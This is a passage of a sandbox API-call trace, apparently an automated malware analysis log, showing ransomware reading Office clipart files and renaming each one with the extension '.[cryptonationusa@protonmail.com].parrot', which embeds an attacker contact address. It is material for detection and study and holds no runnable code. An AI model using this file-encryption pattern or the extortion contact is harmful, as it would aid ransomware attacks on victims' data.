hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.406] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x687c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x687c, lpOverlapped=0x0) returned 1 [0128.407] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.410] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.410] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.412] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.412] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x133c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x133c, lpOverlapped=0x0) returned 1 [0128.412] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.416] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.416] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.418] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.418] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfe2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfe2, lpOverlapped=0x0) returned 1 [0128.418] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.421] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.421] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.422] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.423] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5f00, lpOverlapped=0x0) returned 1 [0128.424] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.427] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.427] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.429] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.430] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x60ca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x60ca, lpOverlapped=0x0) returned 1 [0128.431] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.434] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.434] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.436] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.436] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0128.438] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.443] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.443] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.444] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.445] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9d0e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0128.448] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.452] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.452] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.453] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.454] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbaaa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0128.457] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.463] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.463] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.464] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.464] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x38cc, lpOverlapped=0x0) returned 1 [0128.466] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.471] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.471] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.472] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.472] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x504a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x504a, lpOverlapped=0x0) returned 1 [0128.474] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.477] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.477] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.478] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.479] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f1e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0128.479] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.483] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.483] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.484] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.484] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34cb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x34cb, lpOverlapped=0x0) returned 1 [0128.485] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.489] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.489] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.491] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.491] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4edd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4edd, lpOverlapped=0x0) returned 1 [0128.494] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.495] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.497] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.497] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.499] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.499] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4fe6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0128.500] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.500] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.503] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.503] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.505] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.505] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d75, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d75, lpOverlapped=0x0) returned 1 [0128.506] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.506] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.508] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.509] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.510] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.510] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32b6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32b6, lpOverlapped=0x0) returned 1 [0128.511] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.511] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.514] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.514] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.515] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.515] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25ee, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x25ee, lpOverlapped=0x0) returned 1 [0128.516] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.519] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.519] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.521] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.521] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2244, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2244, lpOverlapped=0x0) returned 1 [0128.522] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.525] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.525] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, 